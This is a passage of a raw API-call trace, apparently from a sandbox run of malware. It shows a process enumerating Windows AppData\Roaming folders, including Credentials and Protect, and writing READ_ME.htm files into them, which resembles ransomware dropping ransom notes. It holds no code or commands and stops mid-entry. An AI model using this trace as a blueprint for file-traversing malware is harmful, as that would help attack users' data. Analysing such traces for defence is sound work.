lpBuffer="C:\\Users\\Default\\AppData\\Roaming", lpFilePart=0x0) returned 0x20 [0143.442] SetErrorMode (uMode=0x1) returned 0x0 [0143.442] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.443] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.443] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Identities", cAlternateFileName="IDENTI~1")) returned 1 [0143.443] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0143.443] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0143.443] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.443] SetErrorMode (uMode=0x0) returned 0x1 [0143.443] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming", lpFilePart=0x0) returned 0x20 [0143.444] SetErrorMode (uMode=0x1) returned 0x0 [0143.444] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.444] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.444] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Identities", cAlternateFileName="IDENTI~1")) returned 1 [0143.444] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0143.444] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0143.444] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.445] SetErrorMode (uMode=0x0) returned 0x1 [0143.445] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Identities", lpFilePart=0x0) returned 0x2b [0143.445] SetErrorMode (uMode=0x1) returned 0x0 [0143.456] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\identities\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.457] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.457] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 1 [0143.457] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 0 [0143.457] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.457] SetErrorMode (uMode=0x0) returned 0x1 [0143.457] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Identities", lpFilePart=0x0) returned 0x2b [0143.458] SetErrorMode (uMode=0x1) returned 0x0 [0143.458] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\identities\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.458] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.458] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 1 [0143.458] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 0 [0143.458] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.459] SetErrorMode (uMode=0x0) returned 0x1 [0143.459] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpFilePart=0x0) returned 0x52 [0143.459] SetErrorMode (uMode=0x1) returned 0x0 [0143.459] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\identities\\{31810c36-5d23-4cce-a3b4-316ded195c38}\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.460] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.460] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0143.460] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.460] SetErrorMode (uMode=0x0) returned 0x1 [0143.460] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}", lpFilePart=0x0) returned 0x52 [0143.460] SetErrorMode (uMode=0x1) returned 0x0 [0143.460] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\identities\\{31810c36-5d23-4cce-a3b4-316ded195c38}\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.461] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.461] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0143.461] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.461] SetErrorMode (uMode=0x0) returned 0x1 [0143.461] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\READ_ME.htm", lpFilePart=0x0) returned 0x5e [0143.461] SetErrorMode (uMode=0x1) returned 0x0 [0143.462] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\roaming\\identities\\{31810c36-5d23-4cce-a3b4-316ded195c38}\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.462] GetFileType (hFile=0x1d0) returned 0x1 [0143.462] SetErrorMode (uMode=0x0) returned 0x1 [0143.463] GetFileType (hFile=0x1d0) returned 0x1 [0143.463] WriteFile (in: hFile=0x1d0, lpBuffer=0x29ba620*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x29ba620*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0143.464] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Identities\\READ_ME.htm", lpFilePart=0x0) returned 0x37 [0143.464] SetErrorMode (uMode=0x1) returned 0x0 [0143.464] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\roaming\\identities\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.465] GetFileType (hFile=0x1d0) returned 0x1 [0143.465] SetErrorMode (uMode=0x0) returned 0x1 [0143.465] GetFileType (hFile=0x1d0) returned 0x1 [0143.465] WriteFile (in: hFile=0x1d0, lpBuffer=0x29bebc0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x29bebc0*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0143.467] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft", lpFilePart=0x0) returned 0x2a [0143.467] SetErrorMode (uMode=0x1) returned 0x0 [0143.467] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.506] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.506] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1 [0143.506] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0143.506] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda27f60, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfda27f60, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0143.506] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b0b780, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf29f8e64, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Protect", cAlternateFileName="")) returned 1 [0143.506] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemCertificates", cAlternateFileName="SYSTEM~1")) returned 1 [0143.507] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0143.507] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0143.507] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.508] SetErrorMode (uMode=0x0) returned 0x1 [0143.508] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft", lpFilePart=0x0) returned 0x2a [0143.508] SetErrorMode (uMode=0x1) returned 0x0 [0143.508] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.509] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.510] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, 